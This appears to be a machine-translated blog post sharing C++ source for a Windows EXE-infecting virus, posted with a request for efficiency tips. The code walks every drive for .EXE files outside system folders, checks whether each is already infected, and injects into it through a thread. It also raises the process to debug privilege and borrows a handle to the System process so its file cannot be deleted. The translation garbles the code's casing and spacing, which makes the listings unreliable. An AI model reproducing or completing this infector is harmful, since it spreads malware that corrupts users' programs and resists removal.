During the test, I felt that the efficiency was not very good. So I would like to express my gratitude to anyone who can provide valuable suggestions!
1. Traverse PE files on the disk
[CPP]
View plaincopyprint?
- /*************************************** *********************************/
- /* Function Description: traverses all EXE files in the specified drive.
- /* Parameter: Drive name, such as C:
- /* Return value: the number of traversal tasks.
- /* By: Koma 2009.12.18 23:55
- /*************************************** *********************************/
- Int emudiskfiles (lpctstr lpstr)
- {
- Cfilefind FD;
- Cstring strwild (lpstr );
- Cstring STR = FD. getfilepath (); // obtain the absolute path of each file
- Int ntemp = 0; // a maximum of five threads can be started simultaneously.
- Bool Bret;
- Handle hthread;
- DWORD dwtid;
- Strwild + = _ T ("// *. *"); // search type
- Bret = FD. findfile (strwild); // start searching
- While (BRET) {// if not empty, continue traversing
- Reemu: Bret = FD. findnextfile (); // find the next file
- If (FD. isdots () // filter the directory itself and the upper directory
- Continue;
- Else if (FD. isdirectory () {// determines whether the folder is used
- Cstring STR = FD. getfilepath (); // get the folder path
- Emudiskfiles (STR); // continue to traverse sub-Directories
- }
- Else
- {
- Int ntemp1 = Str. Find ("Windows"); // skip if it is an XP system directory
- Int ntemp2 = Str. Find ("winnt"); // skip if the system directory is win2000
- If (ntemp1> 0 | ntemp2> 0)
- Goto reemu;
- If (Str. Find (". EXE")> 0) {// determine whether the extension is exe.
- If (! Isinfect (STR) // determines whether the infection has occurred.
- {
- Di. m_strfilepath = STR; // sets the absolute path of the infected file
- Hthread = createthread (null, 0, (unsigned long (_ stdcall *) (void *) threadinject, (lpvoid) (& diinject), null, & dwtid );
- Waitforsingleobject (hthread, infinite );
- // Infectpe (STR );
- }
- Continue;
- }
- }
- Sleep (10000); // traverses a file in 10 seconds
- }
- Return 0;
- }
2. Process Elevation of Privilege and file protection
[CPP]
View plaincopyprint?
- /*************************************** *********************************/
- /* Function Description: Upgrade process permissions to debug permissions.
- /* Parameter: None
- /* Return value: None
- /* By: Koma 2009.12.17 21:20
- /*************************************** *********************************/
- Void raisetodebug ()
- {
- Handle htoken;
- Handle hprocess = getcurrentprocess (); // get the current process handle
- // Open the token of the current process, which is a permission token. The second parameter can be set to token_all_access.
- If (openprocesstoken (hprocess, token_adjust_privileges | token_query, & htoken ))
- {
- Token_privileges tkp;
- If (lookupprivilegevalue (null, se_debug_name, & tkp. Privileges [0]. luid ))
- {
- Tkp. privilegecount = 1;
- Tkp. Privileges [0]. Attributes = se_privilege_enabled;
- // Notify the system to modify the process permission
- Bool Bret = adjusttokenprivileges (htoken, false, & tkp, 0, null, 0 );
- }
- Closehandle (htoken );
- }
- }
- /*************************************** *********************************/
- /* Function Description: protects files from being easily deleted.
- /* Parameter: None
- /* Return value: None
- /* By: Koma 2009.12.17 21:42
- /*************************************** *********************************/
- Bool occupyfile (lpctstr lpfilename)
- {
- Raisetodebug (); // escalate Permissions
- // Open the syetem process. You must grant process_dup_handle permission before enabling it.
- Handle hprocess = OpenProcess (process_dup_handle, false, 4 );
- If (hprocess = NULL)
- {
- Hprocess = OpenProcess (process_dup_handle, false, 8 );
- If (hprocess = NULL)
- Return false;
- }
- Handle hfile = NULL;
- Handle htargethandle = NULL;
- // Create a file. Of course, this file may already exist.
- Hfile = createfile (lpfilename, generic_read | generic_execute | generic_write, 0, null, create_always, file_attribute_normal, null );
- If (hfile = invalid_handle_value)
- {
- // File Creation or opening failed
- Closehandle (hprocess );
- Return false;
- }
- Return true;
- }